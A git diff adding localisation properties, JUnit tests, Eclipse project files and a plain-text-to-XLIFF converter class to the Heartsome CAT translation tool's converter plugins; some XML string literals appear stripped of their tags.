\u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +taggedrtf.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_en.properties new file mode 100644 index 0000000..ce45988 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_en.properties @@ -0,0 +1,26 @@ +taggedrtf.TaggedRtf2Xliff.msg1 = Failed to convert Trados bilingual RTF to XLIFF. Please try again. +#taggedrtf.TaggedRtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.TaggedRtf2Xliff.task2 = Processing... +taggedrtf.TaggedRtf2Xliff.task3 = Processing translation units... +taggedrtf.TaggedRtf2Xliff.task4 = Generating skeleton files... +taggedrtf.TaggedRtf2Xliff.task5 = Generating XLIFF files... + +taggedrtf.Xliff2TaggedRtf.msg1 = Failed to convert XLIFF to Trados bilingual RTF. Please try again. +#taggedrtf.Xliff2TaggedRtf.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.Xliff2TaggedRtf.task2 = Loading... +taggedrtf.Xliff2TaggedRtf.task3 = Processing segments... +taggedrtf.Xliff2TaggedRtf.task4 = Generating temporary intermediate files... +taggedrtf.Xliff2TaggedRtf.logger1 = [LOG] \u5f00\u59cb\u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u7684\u5185\u5bb9\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger2 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger3 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5171\u7528\u65f6\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger4 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger5 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger6 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +taggedrtf.TYPE_NAME_VALUE = SDL Trados bilingual RTF file (RTF) + +########################## 2012-11-01 \u6dfb\u52a0 ########################################### +taggedrtf.Xliff2TaggedRtf.msg2 = Failed to parse skeleton file. The skeleton file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +taggedrtf.Xliff2TaggedRtf.msg3 = Failed to parse XLIFF file. The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +taggedrtf.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_zh.properties new file mode 100644 index 0000000..86bcd1a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message_zh.properties @@ -0,0 +1,26 @@ +taggedrtf.TaggedRtf2Xliff.msg1 = Trados \u53cc\u8bed RTF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#taggedrtf.TaggedRtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.TaggedRtf2Xliff.task2 = \u6b63\u5728\u5904\u7406... +taggedrtf.TaggedRtf2Xliff.task3 = \u6b63\u5728\u5904\u7406\u6bcf\u4e2a\u7ffb\u8bd1\u5355\u5143\u4e2d\u7684\u5185\u5bb9... +taggedrtf.TaggedRtf2Xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... +taggedrtf.TaggedRtf2Xliff.task5 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... + +taggedrtf.Xliff2TaggedRtf.msg1 = XLIFF \u8f6c\u6362 Trados \u53cc\u8bed RTF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#taggedrtf.Xliff2TaggedRtf.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.Xliff2TaggedRtf.task2 = \u6b63\u5728\u52a0\u8f7d\u6587\u4ef6... +taggedrtf.Xliff2TaggedRtf.task3 = \u6b63\u5728\u5904\u7406\u6587\u672c\u6bb5\u5185\u5bb9... +taggedrtf.Xliff2TaggedRtf.task4 = \u6b63\u5728\u751f\u6210\u4e34\u65f6\u4e2d\u95f4\u6587\u4ef6.... +taggedrtf.Xliff2TaggedRtf.logger1 = [LOG] \u5f00\u59cb\u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u7684\u5185\u5bb9\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger2 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger3 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5171\u7528\u65f6\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger4 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger5 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger6 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +taggedrtf.TYPE_NAME_VALUE = SDL Trados \u53cc\u8bed RTF \u6587\u4ef6 (RTF) + +########################## 2012-11-01 \u6dfb\u52a0 ########################################### +taggedrtf.Xliff2TaggedRtf.msg2 = \u89e3\u6790\u9aa8\u67b6\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8be5\u9aa8\u67b6\u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +taggedrtf.Xliff2TaggedRtf.msg3 = \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +taggedrtf.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/TaggedRtf2XliffTest.java b/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/TaggedRtf2XliffTest.java new file mode 100644 index 0000000..a79e9ca --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/TaggedRtf2XliffTest.java @@ -0,0 +1,153 @@ +package net.heartsome.cat.converter.taggedrtf.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.taggedrtf.TaggedRtf2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class TaggedRtf2XliffTest { + public static TaggedRtf2Xliff converter = new TaggedRtf2Xliff(); + private static String srcFile = "rc/Test.rtf"; + private static String xlfFile = "rc/Test.rtf.xlf"; + private static String sklFile = "rc/Test.rtf.skl"; + + @Before + public void setUp() { + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void finalConverter() throws ConverterException { + + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/Xliff2TaggedRtfTest.java b/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/Xliff2TaggedRtfTest.java new file mode 100644 index 0000000..9995d94 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/testSrc/net/heartsome/cat/converter/taggedrtf/test/Xliff2TaggedRtfTest.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.converter.taggedrtf.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.taggedrtf.Xliff2TaggedRtf; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2TaggedRtfTest { + public static Xliff2TaggedRtf converter = new Xliff2TaggedRtf(); + private static String tgtFile = "rc/Test_en-US.rtf"; + private static String xlfFile = "rc/Test.rtf.xlf"; + private static String sklFile = "rc/Test.rtf.skl.tg.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertODT() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); + args.put(Converter.ATTR_SKELETON_FILE, sklFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "BIG5"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.text/.classpath b/hsconverter/net.heartsome.cat.converter.text/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.text/.project b/hsconverter/net.heartsome.cat.converter.text/.project new file mode 100644 index 0000000..58dc5e4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.text + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.text/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.text/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..9048cdb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:18:30 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.text/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.text/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8542232 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter Text +Bundle-SymbolicName: net.heartsome.cat.converter.text +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.text.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.text/build.properties b/hsconverter/net.heartsome.cat.converter.text/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Activator.java b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Activator.java new file mode 100644 index 0000000..1310dad --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Activator.java @@ -0,0 +1,96 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.text; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.text"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The text2 xliff sr. */ + private ServiceRegistration text2XliffSR; + + /** The xliff2 text sr. */ + private ServiceRegistration xliff2TextSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the convert service + Converter text2Xliff = new Text2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Text2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Text2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Text2Xliff.TYPE_NAME_VALUE); + text2XliffSR = ConverterRegister.registerPositiveConverter(context, text2Xliff, properties); + + Converter xliff2Text = new Xliff2Text(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Text.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Text.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Text.TYPE_NAME_VALUE); + xliff2TextSR = ConverterRegister.registerReverseConverter(context, xliff2Text, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (text2XliffSR != null) { + text2XliffSR.unregister(); + } + if (xliff2TextSR != null) { + xliff2TextSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Text2Xliff.java b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Text2Xliff.java new file mode 100644 index 0000000..9b6749e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Text2Xliff.java @@ -0,0 +1,363 @@ +/** + * Text2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.text; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.text.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * The Class Text2Xliff. + * @author John Zhu + */ +public class Text2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "plaintext"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("text.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "Text to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Text2XliffImpl converter = new Text2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Text2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Text2XliffImpl { + + /** The input. */ + private InputStreamReader input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The buffer. */ + private BufferedReader buffer; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source. */ + private String source; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The seg id. */ + private int segId; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The seg by element. */ + private boolean segByElement; + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write segment. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment() throws IOException { + String[] segments; + if (!segByElement) { + segments = segmenter.segment(source); + } else { + segments = new String[1]; + segments[0] = source; + } + for (int i = 0; i < segments.length; i++) { + if (TextUtil.cleanString(segments[i]).trim().equals("")) { //$NON-NLS-1$ + writeSkeleton(segments[i]); + } else { + writeString(" \n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ //$NON-NLS-2$ + + TextUtil.cleanString(segments[i]) + "\n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + writeSkeleton("%%%" + segId++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + source = ""; //$NON-NLS-1$ + } + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + inputFile = args.get(Converter.ATTR_SOURCE_FILE); + File temp = new File(inputFile); + long totalSize = 0; + if (temp.exists()) { + totalSize = temp.length(); + } + + // BUG 2761 robert 2012-10-31 + if (totalSize <= 0 ) { + String errorTip = MessageFormat.format(Messages.getString("text.Text2Xliff.addTip1"), temp.getName()); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, null); + } + + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(totalSize); + + monitor.beginTask(Messages.getString("text.Text2Xliff.task1"), cpb.getTotalTask()); + monitor.subTask(""); + Map result = new HashMap(); + try { + segId = 0; + + xliffFile = args.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = args.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = args.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = args.get(Converter.ATTR_TARGET_LANGUAGE); + String srcEncoding = args.get(Converter.ATTR_SOURCE_ENCODING); + String catalogue = args.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = args.get(Converter.ATTR_SEG_BY_ELEMENT); + boolean isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(args.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + String qtToolID = args.get(Converter.ATTR_QT_TOOLID) != null ? args.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + // fixed bug 479 by john. + // boolean breakOnCRLF = "yes".equals(params.get("breakOnCRLF")); //$NON-NLS-1$ //$NON-NLS-2$ + + if (elementSegmentation == null) { + segByElement = false; + } else { + if (elementSegmentation.equals(Converter.TRUE)) { + segByElement = true; + } else { + segByElement = false; + } + } + + source = ""; //$NON-NLS-1$ + try { + if (!segByElement) { + String initSegmenter = args.get(Converter.ATTR_SRX); + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } + FileInputStream stream = new FileInputStream(inputFile); + input = new InputStreamReader(stream, srcEncoding); + buffer = new BufferedReader(input); + + output = new FileOutputStream(xliffFile); + + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ + } 